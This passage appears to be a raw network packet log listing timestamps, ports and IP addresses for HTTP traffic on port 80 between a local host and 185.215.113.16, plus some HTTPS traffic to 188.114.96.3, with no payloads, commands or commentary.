Oct 30, 2024 21:56:31.454808950 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.454821110 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.454832077 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.454847097 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.454869986 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.455008984 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.455034018 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.455044985 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.455050945 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.455082893 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.455099106 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.455351114 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.455388069 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.455405951 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.455421925 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.455435038 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.455445051 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.455446005 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.455455065 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.455478907 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.493184090 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.493196011 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.493206978 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.493221998 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.493242025 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.493300915 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.493305922 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.493354082 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.493356943 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.493386984 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.532310963 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.532334089 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.532342911 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.532360077 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.532367945 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.532392979 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.532434940 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.532524109 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.532536030 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.532545090 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.532573938 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.532603025 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.532769918 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.532793999 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.532804966 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.532813072 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.532824993 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.532841921 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.575635910 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.575649023 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.575664997 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.575675964 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.575689077 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.575723886 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.575768948 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.575776100 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.575786114 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.575795889 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.575818062 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.575880051 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.578259945 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.578289032 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.578299999 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.578305960 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.578313112 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.578342915 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.578501940 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.578516960 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.578527927 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.578552008 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.578589916 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.578744888 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.578773022 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.578793049 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.578829050 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.578840017 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.578850031 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.578860998 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.578895092 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.578910112 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.579440117 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.579459906 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.579471111 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.579497099 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.579524994 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.579662085 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.579673052 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.579684019 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.579700947 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.579716921 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.579729080 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.579734087 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.579773903 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.617624998 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.617645979 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.617702961 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.617714882 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.617721081 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.617727041 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.617777109 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.653080940 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:31.653187037 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:31.654481888 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:31.654489040 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:31.654809952 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:31.656006098 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:31.656028032 CET	50244	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:31.656095982 CET	443	50244	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:31.656702042 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.656716108 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.656725883 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.656802893 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.656822920 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.656835079 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.656872988 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.656883955 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.656888962 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.656893969 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.656918049 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.656948090 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.657460928 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.657470942 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.657521009 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.657546043 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.657582045 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.657589912 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.657622099 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.700304031 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.700366974 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.700422049 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.700433016 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.700443983 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.700454950 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.700467110 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.700469017 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.700479031 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.700505972 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.700531960 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.700695038 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.700738907 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.702500105 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.702518940 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.702548027 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.702560902 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.702660084 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.702703953 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.702708006 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.702719927 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.702752113 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.702886105 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.702898026 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.702908039 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.702924967 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.702934027 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.702950001 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.703001022 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.703389883 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.703423023 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.703433990 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.703483105 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.703495026 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.703495979 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.703501940 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.703527927 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.703546047 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.704077959 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.704125881 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.704155922 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.704168081 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.704178095 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.704189062 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.704194069 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.704200983 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.704209089 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.704256058 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.728564978 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:31.728658915 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:31.728709936 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:31.728787899 CET	50242	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:31.728811026 CET	443	50242	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:31.741826057 CET	50245	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:31.741852999 CET	443	50245	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:31.741924047 CET	50245	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:31.741997004 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.742021084 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.742043972 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.742059946 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.742110968 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.742147923 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.742151976 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.742165089 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.742193937 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.742202997 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.742257118 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.742276907 CET	50245	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:31.742291927 CET	443	50245	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:31.742292881 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.783626080 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.783648968 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.783683062 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.783696890 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.783711910 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.783718109 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.783775091 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.783816099 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.783886909 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.783931971 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.783989906 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.784002066 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.784029007 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.784049988 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.784102917 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.784115076 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.784147024 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.784157038 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.784301043 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.784320116 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.784332037 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.784347057 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.784362078 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.784369946 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.824963093 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.824980974 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.824991941 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.825001955 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.825012922 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.825022936 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.825033903 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.825066090 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.825118065 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.825237036 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.825248003 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.825258017 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.825268984 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.825287104 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.825318098 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.826945066 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.826984882 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.826993942 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.826996088 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.827008009 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.827024937 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.827044964 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.827069998 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.827080965 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.827092886 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.827107906 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.827135086 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.827483892 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.827532053 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.827548981 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.827562094 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.827583075 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.827596903 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.827613115 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.827624083 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.827948093 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.827961922 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.827974081 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.827985048 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.827996016 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.827996016 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.828011036 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.828039885 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.828500986 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.828548908 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.828572989 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.828587055 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.828624964 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.866398096 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.866411924 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.866421938 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.866508961 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.866512060 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.866543055 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.866588116 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.866605043 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.866616011 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.866626978 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.866627932 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.866652966 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.866668940 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.907996893 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.908030033 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.908071041 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.908123970 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.908128977 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.908158064 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.908174992 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.908246040 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.908293962 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.908313036 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.908328056 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.908340931 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.908350945 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.908375978 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.908607006 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.908617973 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.908657074 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.908731937 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.908742905 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.908781052 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.948983908 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.948998928 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.949018002 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.949028969 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.949069977 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.949104071 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.949140072 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.949167967 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.949179888 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.949207067 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.949233055 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.949328899 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.949366093 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.949369907 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.949382067 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.949408054 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.949421883 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.949598074 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.949635029 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.949641943 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.949646950 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.949673891 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.949676991 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.949719906 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.949722052 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.949745893 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.949765921 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.951627016 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.951638937 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.951647997 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.951658964 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.951668978 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.951674938 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.951679945 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.951685905 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.951690912 CET	80	50241	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:31.951723099 CET	50241	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:31.951741934 CET	50241	80	192.168.2.5	185.215.113.16
